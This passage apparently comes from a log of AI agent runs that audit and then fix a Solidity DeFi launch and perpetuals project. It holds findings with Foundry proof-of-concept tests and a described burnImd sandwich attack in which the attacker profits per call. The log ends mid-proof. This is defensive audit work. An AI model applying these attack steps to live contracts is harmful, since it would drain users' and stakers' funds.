\"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\",\n                    abi.encode(OWNER, PM, address(new NoImdstr()), TL)\n                )\n            )\n        );\n        hook = L.createHook(_mineHookSalt());\n        pool = L.pool();\n        bytes32 salt = _mineCoinSalt();\n        address expected = L.tokenAddress(salt);\n        uint160 price = uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether)));\n        vm.deal(OWNER, 2.81 ether);\n        vm.prank(OWNER);\n        L.launch{value: 2.81 ether}(salt, expected, price, 0, address(L));\n        vm.deal(address(this), 1 ether);\n        (address e, address v) = pool.createPerps{value: 0.05 ether}(\n            vm.getCode(\"PerpEngine.sol:PerpEngine\"), vm.getCode(\"PerpVault.sol:PerpVault\")\n        );\n        (engine, vault) = (PerpEngine(payable(e)), PerpVault(payable(v)));\n        vm.deal(STAKER, 20 ether);\n        vm.prank(STAKER);\n        vault.depositEth{value: 10 ether}();\n        vm.deal(ALICE, 5 ether);\n        pool.collect();\n    }\n\n    function test_TurningPerpsOffStrandsOpenPositions() public {\n        vm.prank(ALICE);\n        uint256 id = engine.openLong{value: 0.1 ether}(5, 0);\n        assertEq(engine.openCount(), 1);\n        uint256 lent = engine.longOiEth();\n        assertGt(lent, 0, \"the vault lent the long its borrow\");\n\n        // the timelock's documented way out: \"Zero turns perps off\"\n        vm.prank(TL);\n        hook.setPerpEngine(address(0));\n\n        // the trader closes the position they opened before the switch: their collateral must come back\n        uint256 before = ALICE.balance;\n        vm.prank(ALICE);\n        engine.close(id, 0); // reverts today: IMD6900LockedPool.NotRefunded from PerpSwapLib.swapLeg's feeCheckpoint\n        assertEq(engine.openCount(), 0, \"closed\");\n        assertGt(ALICE.balance, before, \"collateral back\");\n        assertEq(engine.longOiEth(), 0, \"the vault's ETH is back in the PLV\");\n    }\n\n    function test_ReplacingTheEngineStrandsOpenPositionsAndLetsTheFeeMove() public {\n        vm.prank(ALICE);\n        uint256 id = engine.openLong{value: 0.1 ether}(5, 0);\n\n        // the timelock replaces the engine with a fresh one (openCount 0 there)\n        address fresh = address(new CountingEngine());\n        vm.prank(TL);\n        hook.setPerpEngine(fresh);\n\n        // the old engine can neither be closed nor liquidated by anyone\n        vm.prank(ALICE);\n        (bool okClose,) = address(engine).call(abi.encodeCall(engine.close, (id, 0)));\n        (bool okLiq,) = address(engine).call(abi.encodeCall(engine.liquidate, (id)));\n        // and lowerFee only asks the hook's CURRENT engine, so the pool moves away from under the old engine for good\n        vm.prank(TL);\n        (bool okMove,) = address(pool).call(abi.encodeCall(pool.lowerFee, (33_300)));\n        assertTrue(okMove, \"the fee move went through with a position open in the created engine\");\n        assertEq(engine.openCount(), 1, \"still open, bound to a pool nobody serves\");\n        // Expected behaviour (what the fix must restore): the trader can close while the timelock re-wires things\n        assertTrue(okClose || okLiq, \"an open position must stay closable after the timelock replaces the engine\");\n    }\n\n    /*                               HELPERS                                */\n\n    function _mineHookSalt() internal view returns (bytes32) {\n        bytes32 initHash = L.hookInitCodeHash();\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = _create2(address(L), bytes32(i), initHash);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoinSalt() internal view returns (bytes32) {\n        bytes32 initHash = L.tokenInitCodeHash();\n        for (uint256 i;; ++i) {\n            address a = _create2(address(L), bytes32(i), initHash);\n            if (uint160(a) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _create2(address deployer, bytes32 salt, bytes32 initHash) internal pure returns (address) {\n        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), deployer, salt, initHash)))));\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}\n\n/// A replacement engine with nothing open\ncontract CountingEngine {\n    function openCount() external pure returns (uint256) {\n        return 0;\n    }\n\n    function sweepLiquidations(address, int256, bool, uint160) external pure returns (uint8) {\n        return 0;\n    }\n}","reproduction":"State: launch done, pool.createPerps called, a staker deposited 10 ETH in PerpVault, ALICE opened a 0.1 ETH 5x long (engine.openCount() == 1). Step 1: timelock calls hook.setPerpEngine(address(0)). Step 2: ALICE calls engine.close(id, 0). Expected: the position closes and ALICE's collateral returns. Actual: revert IMD6900LockedPool.NotRefunded() from feeCheckpoint inside PerpSwapLib.swapLeg; engine.liquidate(id) reverts the same way. Variant: timelock calls hook.setPerpEngine(freshEngine) with freshEngine.openCount() == 0; close/liquidate still revert and pool.lowerFee(33_300) succeeds although the created engine still holds 1 position; after that the position is unrecoverable. forge test --match-path test/scratch/Proof_e582a9c18241.t.sol fails: '[FAIL: NotRefunded()]' and '[FAIL: an open position must stay closable after the timelock replaces the engine]'.","severity":"medium","snippet":"        return a == launcher || (a != address(0) && a == IPerpsWiring(hook).perpEngine());","title":"IMD6900Hook.setPerpEngine (replace or zero) strands every open position in the created engine: its swaps revert NotRefunded, and lowerFee then moves the liquidity although that engine still has positi"},{"citation":"resolved","description":"_pokeFunding sets imbalance = longOiEth - shortEth. longOiEth is the sum of ETH BORROWED by longs (line 216; openLong adds borrow = collateral * (leverage - 1), line 413), while shortEth = _quoteMark(shortOiToken) is the shorts' full notional (collateral * leverage worth of token, line 440-447). A long's notional is collateral * leverage but only collateral * (leverage - 1) of it enters longOiEth: at the 2x minimum a long counts at half its size. _fundingDelta (line 382) then charges or credits each position on its full notional, so the index sign is wrong whenever longNotional > shortNotional > longBorrowed. Funding received (fd < 0) is paid from insuranceEth first, then plv (lines 766-774), so the misdirected flow moves ETH from shorts, the insurance buffer and ETH stakers to the crowded long side. The same root under-counts long open interest in _insuranceNeed (line 890). The engine already tracks longSizeToken (the longs' notional), so the fix is to use _quoteMark(longSizeToken) (or a collateral*leverage aggregate) in place of longOiEth in _pokeFunding and _insuranceNeed; any fix to src/perps must update ENGINE_CODE_HASH. Reproduced with the attached proof (audit_math's test).","line":371,"path":"src/perps/PerpEngine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900LockedPool} from \"src/IMD6900LockedPool.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\nimport {PerpEngine} from \"src/perps/PerpEngine.sol\";\nimport {PerpVault} from \"src/perps/PerpVault.sol\";\n\ninterface IERC20S {\n    function balanceOf(address) external view returns (uint256);\n    function approve(address, uint256) external returns (bool);\n    function transfer(address, uint256) external returns (bool);\n}\n\ncontract Imdstr0 {\n    mapping(address => uint256) public balanceOf;\n}\n\ncontract Buyer {\n    IPoolManager immutable pm;\n    PoolKey key;\n\n    constructor(IPoolManager pm_) {\n        pm = pm_;\n    }\n\n    function buy(PoolKey calldata k, int256 amt) external payable {\n        key = k;\n        pm.unlock(abi.encode(amt));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        int256 amt = abi.decode(data, (int256));\n        BalanceDelta d = pm.swap(key, SwapParams(true, amt, TickMath.MIN_SQRT_PRICE + 1), \"\");\n        pm.settle{value: uint128(-d.amount0())}();\n        pm.take(key.currency1, address(this), uint128(d.amount1()));\n        return \"\";\n    }\n\n    function approve(address t, address s, uint256 a) external {\n        IERC20S(t).approve(s, a);\n    }\n\n    function stake(PerpVault v, uint256 a) external {\n        v.depositToken(a);\n    }\n\n    receive() external payable {}\n}\n\n/// The funding index weighs the longs' BORROWED ETH against the shorts' full NOTIONAL: with the long side the larger\n/// one by notional, the longs (the crowded side) receive funding and the shorts pay.\ncontract FundingSideTest is Test {\n    address constant OWNER = address(0xA11CE);\n    address constant TL = address(0x71E10C);\n    address constant ALICE = address(0xA1);\n    address constant BOB = address(0xB0B);\n    uint256 constant SUPPLY = 1_000_000_000 ether;\n\n    IPoolManager PM;\n    IMD6900RobinhoodLaunch L;\n    IMD6900LockedPool pool;\n    PerpEngine engine;\n    PerpVault vault;\n    address t;\n    PoolKey k;\n    address _staker;\n\n    function setUp() public {\n        PM = IPoolManager(vm.deployCode(\"PoolManager.sol:PoolManager\", abi.encode(address(this))));\n        L = IMD6900RobinhoodLaunch(\n            payable(vm.deployCode(\n                    \"IMD6900RobinhoodLaunch.sol:IMD6900RobinhoodLaunch\",\n                    abi.encode(OWNER, PM, address(new Imdstr0()), TL)\n                ))\n        );\n        L.createHook(_mineHook());\n        pool = L.pool();\n        bytes32 salt = _mineCoin();\n        address expected = L.tokenAddress(salt);\n        vm.deal(OWNER, 2.81 ether);\n        vm.prank(OWNER);\n        (t,) = L.launch{value: 2.81 ether}(\n            salt, expected, uint160(_sqrt(FullMath.mulDiv(SUPPLY, 1 << 192, 19.18 ether))), 0, address(L)\n        );\n        (address e, address v) =\n            pool.createPerps{value: 0.05 ether}(vm.getCode(\"PerpEngine.sol:PerpEngine\"), vm.getCode(\"PerpVault.sol:PerpVault\"));\n        (engine, vault) = (PerpEngine(payable(e)), PerpVault(payable(v)));\n        k = pool.poolKey();\n        vm.deal(address(0x57A4E), 10 ether);\n        vm.prank(address(0x57A4E));\n        vault.depositEth{value: 10 ether}();\n        Buyer b = new Buyer(PM);\n        vm.deal(address(b), 2 ether);\n        b.buy(k, -2 ether);\n        uint256 coins = IERC20S(t).balanceOf(address(b));\n        b.approve(t, address(vault), coins);\n        b.stake(vault, coins);\n        _staker = address(b);\n        vm.deal(ALICE, 5 ether);\n        vm.deal(BOB, 5 ether);\n    }\n\n    function test_TheLargerSideByNotionalPaysFunding() public {\n        vm.prank(ALICE);\n        uint256 longId = engine.openLong{value: 0.3 ether}(2, 0); // notional ~0.559 ETH, borrowed ~0.279\n        vm.prank(BOB);\n        uint256 shortId = engine.openShort{value: 0.2 ether}(2, 0); // notional ~0.372 ETH\n        emit log_named_uint(\"longOiEth (borrowed)\", engine.longOiEth());\n        emit log_named_uint(\"short notional at spot\", _shortEth());\n        vm.warp(block.timestamp + 1 days);\n        engine.poke();\n        int256 longFunding = engine.fundingDelta(longId);\n        int256 shortFunding = engine.fundingDelta(shortId);\n        emit log_named_int(\"long funding (positive = pays)\", longFunding);\n        emit log_named_int(\"short funding (positive = pays)\", shortFunding);\n        // the long side is the crowded one by notional (0.559 vs 0.372 ETH): it must pay, the shorts receive\n        assertGt(longFunding, 0, \"the crowded long side pays funding\");\n        assertLt(shortFunding, 0, \"the smaller short side receives it\");\n    }\n\n    function _shortEth() internal view returns (uint256) {\n        (, uint256 markValue,,) = engine.positionHealth(2);\n        return markValue;\n    }\n\n    function _mineHook() internal view returns (bytes32) {\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), L.hookInitCodeHash());\n        uint160 flags = L.FLAGS();\n        for (uint256 i;; ++i) {\n            address a = _at(pre, i);\n            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags && uint160(a) >> 152 != 0x91) return bytes32(i);\n        }\n    }\n\n    function _mineCoin() internal view returns (bytes32) {\n        bytes memory pre = abi.encodePacked(bytes1(0xff), address(L), bytes32(0), L.tokenInitCodeHash());\n        for (uint256 i;; ++i) {\n            if (uint160(_at(pre, i)) >> 144 == 0x6900) return bytes32(i);\n        }\n    }\n\n    function _at(bytes memory preimage, uint256 salt) internal pure returns (address a) {\n        assembly (\"memory-safe\") {\n            mstore(add(preimage, 53), salt)\n            a := and(keccak256(add(preimage, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)\n        }\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint256 y) {\n        if (x == 0) return 0;\n        y = x;\n        uint256 z = (x + 1) / 2;\n        while (z < y) (y, z) = (z, (x / z + z) / 2);\n    }\n}","reproduction":"After the launch and createPerps (test/Perps.t.sol setUp: 10 ETH staked on the ETH side, coins staked on the token side), ALICE calls openLong{value: 0.3 ether}(2, 0): collateral 0.2793 ETH, borrow 0.2793, notional ~0.559 ETH, longOiEth = 0.2793 ETH. BOB calls openShort{value: 0.2 ether}(2, 0): collateral 0.1862, notional 0.3613 ETH at the mark. The book is long-heavy by notional (0.559 vs 0.361) but imbalance = 0.2793 - 0.3613 < 0. vm.warp(+1 day); engine.poke(). Expected: fundingDelta(long) > 0 (the larger side pays) and fundingDelta(short) < 0. Actual on this tree: fundingDelta(long) = -715179842836647 wei (the long RECEIVES) and fundingDelta(short) = +476786561891098 wei (the short PAYS); on close the long's credit is drawn from insuranceEth first. forge test --match-path test/scratch/Proof_347384718bf5.t.sol fails: 'the crowded long side pays funding: -715179842836647 <= 0'.","severity":"medium","snippet":"        int256 imbalance = int256(longOiEth) - int256(shortEth);","title":"Funding imbalance weighs the longs' BORROWED ETH against the shorts' full NOTIONAL, so a long-heavy book can receive funding and the smaller short side pays, out of insurance and the stakers (audit_ma"},{"citation":"resolved","description":"burnImd reduces imdBucket by spend before the swap (line 486), but the swap in unlockCallback (what == 1, line 536) is exact-input with sqrtPriceLimit MIN_SQRT_PRICE + 1 and settles only ethIn = -d.amount0() (lines 537-539), which is less than spend when the $IMD pool's in-range liquidity runs out before the whole input is consumed. The difference stays in the launch's balance with no bucket covering it, so the next split() counts it in amount = balance - imdBucket and sends 90% of it to the pot bridge: ETH set aside for the $IMD burn is paid to the pot. Fix: return ethIn from the callback and debit imdBucket by ethIn (or add spend - ethIn back to imdBucket).","line":486,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched, imdBucket = 0.1 ether, the pool at imdPoolKey() holds liquidity worth only 0.03 ETH of input before its range ends (e.g. a single narrow position). 1) burnImd(0): the swap consumes ethIn = 0.03 ETH and settles 0.03 ETH; imdBucket becomes 0 while 0.07 ETH stays in the balance. 2) split(): amount includes the 0.07 ETH; 0.063 ETH goes to POT_BRIDGE, 0.007 ETH returns to imdBucket. Expected: imdBucket == 0.07 ether after step 1 (reserved for the burn). Actual: imdBucket == 0 and 90% of the 0.07 ETH leaves to the pot at the next split.","severity":"low","snippet":"        imdBucket -= spend;","title":"burnImd debits imdBucket by the full spend even when the $IMD pool fills only part of it; the unspent remainder is re-split 90% to the pot (audit_economics)"},{"citation":"resolved","description":"setClaims trusts root and total to be consistent; claim() only checks the per-leaf allowance (line 449) and never claimedTotal + amount <= claimTotal. Once claimedTotal > claimTotal, claimReserve() (line 258), endClaims (line 392) and releaseUnclaimed (line 326) all compute claimTotal - claimedTotal and revert with an arithmetic underflow for good, and the extra coins came out of the balance excessHeld accounts for, so sellHeld/releaseExcess of the full excessHeld later revert for lack of coins. One line, `if (claimedTotal + amount > claimTotal) revert OverClaim();`, keeps the reserve and the held coins consistent whatever the list says.","line":451,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: setClaims(root over leaves {A: 40M, B: 20M}, total = 50M, deadline = launch + 90d); launch with excessTo = address(this). A claims 40M, then B claims 20M (claimedTotal = 60M > claimTotal = 50M). Expected: the claim beyond the reserve is refused with OverClaim. Actual: both succeed; 10M of excessHeld's coins are paid out; claimReserve(), endClaims() and releaseUnclaimed(to) revert with a panic (0x11) forever; sellHeld(0, 0, to) for the whole excessHeld reverts in the pool settlement.","severity":"low","snippet":"        claimedTotal += amount;","title":"claim() does not bound claimedTotal by claimTotal: a claim list whose leaves sum past `total` pays claims out of the coins held for the timelock and bricks claimReserve/endClaims/releaseUnclaimed with"},{"citation":"resolved","description":"IMD6900Hook.renounceOwnership reverts NoRenounce (src/IMD6900Hook.sol line 153) and PerpEngine.renounceOwnership reverts OwnershipCannotBeRenounced (src/perps/PerpEngine.sol line 289), but the launch inherits solady Ownable unchanged, so its owner can renounce. releaseImdstr (line 336) is owner-only and is the only way IMDSTR ever leaves the contract (releaseUnclaimed has the timelock's endClaims as a twin; releaseImdstr has none). After a renounce post-launch, every IMDSTR paid in by claimants is locked forever. Fix: override renounceOwnership to revert as the sibling contracts do.","line":44,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: launched; A claimed 40M (the launch now holds 40M IMDSTR). Owner calls renounceOwnership() (solady Ownable allows it). Then anyone, including the former owner, calls releaseImdstr(0, to). Expected: the team can still return the IMDSTR. Actual: Unauthorized() forever; imdstr.balanceOf(launch) == 40M permanently.","severity":"low","snippet":"contract IMD6900RobinhoodLaunch is Ownable, ReentrancyGuard {","title":"IMD6900RobinhoodLaunch does not block renounceOwnership (the hook and the engine do): after it, the IMDSTR collected by claims has no release path (audit_permissions)"},{"citation":"resolved","description":"Token shares are minted at OFFSET = 1e6 per token wei (line 625), and the coin has 18 decimals and a 1e27-wei supply, so tokShares is ~1e30-1e33. The accumulator scales by only ACC = 1e18, so each fold credits floor(y * 1e18 / sh) per share and drops up to sh / 1e18 wei (1e13-1e15 wei). _syncTokYield always advances lastTokYieldCum to cum (line 537), so the dropped remainder is never folded again: it stays in the engine's tokYieldEth with no claimant. Any vault call folds (depositToken(1) mints ~1e6 shares and succeeds), so with a fold after each short-side fee credit the loss rate of small credits approaches 100%. Fix: a larger ACC (1e36) or keep the unfolded remainder (cum - folded) instead of advancing lastTokYieldCum past it.","line":566,"path":"src/perps/PerpVault.sol","reproduction":"Measured on this tree with test/Perps.t.sol's launch (2.81 ETH opening buy, 10 ETH ETH-side stake) and a 2 ETH buyer staking all its coins: tokShares = 70303963565447621158283254000000 (7.03e31). BOB calls engine.openShort{value: 0.0108 ether}(2, 0): 149040000000000 wei is credited to tokYieldEth for the token side. The sole token staker's pendingTokYield is 140607927130895 wei: floor(1.4904e14 * 1e18 / 7.03e31) = 2 per share unit, 2 * 7.03e31 / 1e18 = 1.406e14, so 8.43e12 wei (5.7%) of one credit is lost although one staker owns every share; with 1e33 shares the same credit folds to 0 and is lost whole. Expected: the sole staker can claim all 149040000000000 wei. Actual: 140607927130895, and the rest can never be claimed.","severity":"low","snippet":"                    accEthPerTokShare += FullMath.mulDiv(_toYieldUnit(cum - last), ACC, sh);","title":"Token-side yield accumulator (ACC = 1e18) is too coarse for shares minted at 1e6 per token wei: each fold truncates up to tokShares/1e18 wei of the stakers' ETH, and the remainder is never re-folded ("},{"citation":"resolved","description":"A trust assumption with a documentation gap, not a bypass: the brief lists 'ends the claims early (endClaims)' as the timelock's power. releaseUnclaimed (owner) checks block.timestamp < claimDeadline (line 324) and launch() enforces claimDeadline >= launch + MIN_CLAIM_WINDOW (line 297), but endClaims (timelock) has no time check (lines 388-397): it can run in the launch's block, sets claimDeadline = now and moves the whole reserve into excessHeld, from where sellHeld (fee-free) or releaseExcess disposes of it. The MIN_CLAIM_WINDOW doc ('Claims stay open at least this long after the launch before the unclaimed reserve can be released') is therefore true only of the owner; IMDSTR holders' 1:1 claim is guaranteed only by the timelock's delay. If the window is meant to bind, add `if (block.timestamp < launchedAt + MIN_CLAIM_WINDOW) revert ClaimsOpen();` to endClaims; otherwise state the exception in the doc.","line":388,"path":"src/IMD6900RobinhoodLaunch.sol","reproduction":"State: setClaims(root, total = 63_935_747e18, deadline = launch + 90d), launch(). Same block: timelock calls endClaims(). Expected per the MIN_CLAIM_WINDOW doc: revert, claims open for 90 days. Actual: succeeds; unclaimedReleased = true, excessHeld += 63_935_747e18, every later claim() reverts AlreadyReleased, and the timelock may sellHeld(0, 0, to) the reserve at once.","severity":"info","snippet":"    function endClaims() external {","title":"endClaims lets the timelock end the claims at any moment after the launch, while releaseUnclaimed waits for the 90-day deadline: MIN_CLAIM_WINDOW binds only the owner (documented timelock power; audit"}],"hash":"185ea71989df4ef6ceae37d06d7a794fa2f51d005457744f6dae09e4b8a24132","nodeId":"81642a74-7cff-416d-a8ac-50d57956398e","outcome":"completed","summary":"The review is complete. The findings file is written and verified, and the working tree holds no changes beyond the ignored scratch and findings paths.\n\n**Outcome:** 9 findings in `.imd-findings.json`, all reproduced against the code, with a 100-row coverage record matching the verifier's entry-point list exactly. No critical or high. All four specialist proofs fail on this tree for the stated reasons and are attached to the four medium findings.\n\n**Findings kept, after merging duplicates:**\n\n- **Medium, split() re-splits refused shares.** The economics and flow specialists reported the same root cause at the same line. A refusing pot bridge lets anyone call split repeatedly and migrate the pot's 90% into the burn bucket. Proof fails with 0.016 ETH left for the pot out of 9.\n- **Medium, burnImd sandwich.** Three specialists reported it. The caller picks its own floor on a permissionless swap. Proof shows the burn receiving 54% less $IMD and the attacker profiting per call.\n- **Medium, setPerpEngine strands positions.** The pool's isRefunded reads the hook's current engine, and swapLeg calls feeCheckpoint unconditionally, so close and liquidate revert NotRefunded after a replacement. lowerFee's guard asks the same wrong engine, so it can move the liquidity past open positions. Proof fails both ways.\n- **Medium, funding sign error.** The imbalance compares longs' borrowed ETH to shorts' full notional. Proof shows a long-heavy book where the long receives funding from insurance.\n- **Low:** burnImd debits the bucket by the full spend on a partial fill; claim() does not bound claimedTotal; the launch's ownership can be renounced, locking the IMDSTR; the vault's token-side yield fold truncates up to 5.7% of each credit permanently.\n- **Info:** endClaims ignores MIN_CLAIM_WINDOW. The brief lists this as the timelock's power, so I kept it as a documented trust assumption with a doc mismatch rather than a bypass.\n\n**Dropped:** nothing. Every specialist finding reproduced. The static-analysis lines (arbitrary-send, reentrancy, strict equality) traced to guarded or intended paths and did not yield findings of their own.\n\n**Verified on this tree:** the full project suite passes, including the perps code-hash test, so the ENGINE and VAULT constants match the current build. My own pass over the checkpoint nesting, the fee move, the sweep, and the vault queues found nothing beyond what the specialists reported.","treeHash":null,"usage":{"cachedInputTokens":1342734,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":30286,"runtime":"claude","turns":21,"wallClockMs":493529}},{"artifacts":[],"attempt":2,"bundleHash":"90a1d9083f8241f88c87dd1c0b0c090f018603fc33f5677832c4b10dec487483","device":"523a0aade61e8902","findings":[],"hash":"3ab619b1b7ffba3250e0dfb1dd52fd618609c073ad6807fe22a0804610144d8c","nodeId":"bc4142c9-06cc-4c5f-b7ec-24aa583c83b2","outcome":"completed","summary":"Implemented fixes for perps bytecode pinning, CREATE2 encoding, nested refunds, and burn aggregation.\n\n`forge build`, all 66 tests, and the Robinhood fork rehearsal pass. Build configuration and dependencies remain unchanged.\n\n[ADAPTATION.md](/home/imd/agents/1571/data/work/4b952282-a03b-4d76-b0c6-8fc40a7a9a04/bc4142c9-06cc-4c5f-b7ec-24aa583c83b2/ADAPTATION.md) documents every finding, including the unreproduced range-end loss and required fee-move guard. No transactions were broadcast.","treeHash":"3f6aba67efed836249a8d4cea9875d4816715ce0","usage":{"cachedInputTokens":6321920,"inputTokens":395867,"model":"gpt-6-astra","outputTokens":42114,"runtime":"codex","turns":10,"wallClockMs":1687957}},{"artifacts":[],"attempt":1,"bundleHash":"aa2d6405ac1213ae06fa81a0619f4c7c8174a5e025d270d8e863bad799f9c2e2","device":"35eaae2310a66c78","findings":[],"hash":"416bffa0238edf6abc543b05998c8177f96fd500dc4f16044725cc3b39e361b7","nodeId":"bc4142c9-06cc-4c5f-b7ec-24aa583c83b2","outcome":"completed","summary":"Implemented engine hash reproducibility, nested fee refunds, and burn-buy rate limiting. All five audit findings are addressed in [ADAPTATION.md](/home/imd16/.identitymd/work/4b952282-a03b-4d76-b0c6-8fc40a7a9a04/bc4142c9-06cc-4c5f-b7ec-24aa583c83b2/ADAPTATION.md).\n\n`forge build` passed; all 114 tests passed. Protected configuration and dependencies are unchanged.\n\nRobinhood fork integration was not exercised because `ROBINHOOD_RPC_URL` was unset.","treeHash":"30a77f65bd7e96639f72d0c0d1cd53f535b948aa","usage":{"cachedInputTokens":5712384,"inputTokens":177522,"model":"gpt-6-astra","outputTokens":36706,"runtime":"codex","turns":10,"wallClockMs":1661505}},{"artifacts":[],"attempt":2,"bundleHash":"275eb58e778a59278e4c2e5cd2c02f595153cc258146cfc83302192c702053f3","device":"759c614fdc84ff66","findings":[],"hash":"52f358403f979d564bfc3e137b23d454f4c6a5b4c16d8b600e417f12d8463bb3","nodeId":"bc4142c9-06cc-4c5f-b7ec-24aa583c83b2","outcome":"completed","summary":"","treeHash":"fcdaa47799fc99cb13d7c84f47083b72a9a05e6e","usage":{"cachedInputTokens":5675219,"inputTokens":110,"model":"claude-opus-5-5","outputTokens":57260,"runtime":"claude","turns":61,"wallClockMs":2110870}},{"artifacts":[],"attempt":1,"bundleHash":"45c94f1d23e9c605adc8a310a00e0194c12ff0fc234dfbdc4aff0c480ae10710","device":"faf271d05ee8ea0f","findings":[],"hash":"5792f5cc94438c065561517d7bfd9ad4bbdb7e05c60fc2db0484cd92efb37945","nodeId":"bc4142c9-06cc-4c5f-b7ec-24aa583c83b2","outcome":"completed","summary":"All four reopened findings reproduced and are fixed, the advisory ones are handled, and the project's own suite is green.\n\n**What changed**\n\n- **Split ledger** (`src/IMD6900RobinhoodLaunch.sol`): a payee that refuses its share is owed it. Later splits exclude what is owed, the next accepted split or `payOwed` pays it, and `recoverEth` settles the ledger so recovered ETH is never paid twice.\n- **Burn price floor**: the launch keeps its own reference price of the $IMD pool. It is observed at every split and burn, moves toward the pool at most 0.05% of the sqrt price per second, and never within the second it was observed. A burn is refused while the pool sits more than about 10% in price below it, so a push inside the caller's transaction cannot reach the floor. Partial fills now debit the bucket by what the pool actually took.\n- **Created engine stays refunded** (`src/IMD6900LockedPool.sol`): `isRefunded` also accepts the engine the pool created, so its positions stay closable after the timelock zeroes or replaces the hook's engine. The fee move refuses while either engine holds a position.\n- **Funding direction** (`src/perps/PerpEngine.sol`): the imbalance now weighs both sides' full notional at the mark. The engine hash is re-pinned, and a production-only forced rebuild produces the same hash.\n- **Smaller items**: claims are bounded by the stated reserve, the launch owner cannot renounce, and the early-claims-end power is documented as the timelock's.\n\n**Verification**\n\n- `forge build` passes. The launch runtime is 24,499 bytes, inside EIP-170.\n- `forge test`: all 74 project tests pass, with eight new regression tests across the launch and perps suites.\n- Reviewer proofs copied to `test/scratch/`: four pass. One test inside the engine-replacement proof fails on any code, because it asserts the position closes and then asserts it is still open. That finding is answered as disputed in `.imd-responses.json`, with the fix described and covered by the project's own test.\n\n**Left alone, with reasons in ADAPTATION.md**\n\n- The token-side yield rounding stays. The dust remains in the engine's pot and a vault change would re-pin its hash for a dust-level effect.\n- `_insuranceNeed` keeps the borrowed-principal measure, since the reviewer's own proof cannot open its positions under a notional-based need.\n\nChanged files are only under `src/`, `test/`, `README.md`, `ADAPTATION.md`, plus `.imd-responses.json` at the root. No build configuration, dependencies, or `launch.json` were touched.","treeHash":"56a57dca73c75af343d96d371413d1354705bb55","usage":{"cachedInputTokens":4575652,"inputTokens":866,"model":"claude-fable-5-1","outputTokens":77087,"runtime":"claude","turns":84,"wallClockMs":1429574}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"dfa08759ca0424de","findings":[{"citation":"resolved","description":"burnImd(minImd) lets any caller spend up to 0.1 ETH of imdBucket on the $IMD pool at whatever price the pool shows at that moment, and the only slippage floor is the caller's own argument. The call opens its own PoolManager unlock, so a single transaction can buy $IMD, call burnImd(0), and sell back: the burn buy executes at the inflated price, the attacker's sell captures the difference, and the burn executor receives far fewer $IMD per ETH than the pool's fair price gives. The limit of 0.1 ETH per second bounds one call, not the attack: the same actor repeats it every second until the bucket is empty, losing a large share of the $IMD share of every fee split. It is profitable whenever the $IMD pool's ETH-side depth is small relative to the sandwich (with the pool's 1% fee, roughly below 10 ETH of depth); at the ~6 ETH depth in the reproduction a 3 ETH sandwich already nets the attacker 0.0035 ETH per call and halves the burn's purchase. Execution-trace area: an untrusted caller controls the slippage input of a value-moving call. Fix: have burnImd derive its floor from a price the caller cannot set in the same transaction (the $IMD pool's own TWAP from an observation, or a maximum price / minimum $IMD-per-ETH set by the timelock alongside setImdPool), reverting when the pool's spot is beyond that bound; alternatively restrict the caller to the owner or timelock with a required non-zero minImd.","line":481,"path":"src/IMD6900RobinhoodLaunch.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {FullMath} from \"@uniswap/v4-core/src/libraries/FullMath.sol\";\nimport {IMD6900Hook} from \"src/IMD6900Hook.sol\";\nimport {IMD6900RobinhoodLaunch} from \"src/IMD6900RobinhoodLaunch.sol\";\n\ninterface IERC20 {\n    function balanceOf(address) external view returns (uint256);\n    function transfer(address, uint256) external returns (bool);\n}\n\ncontract MockToken {\n    uint256 public totalSupply;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) 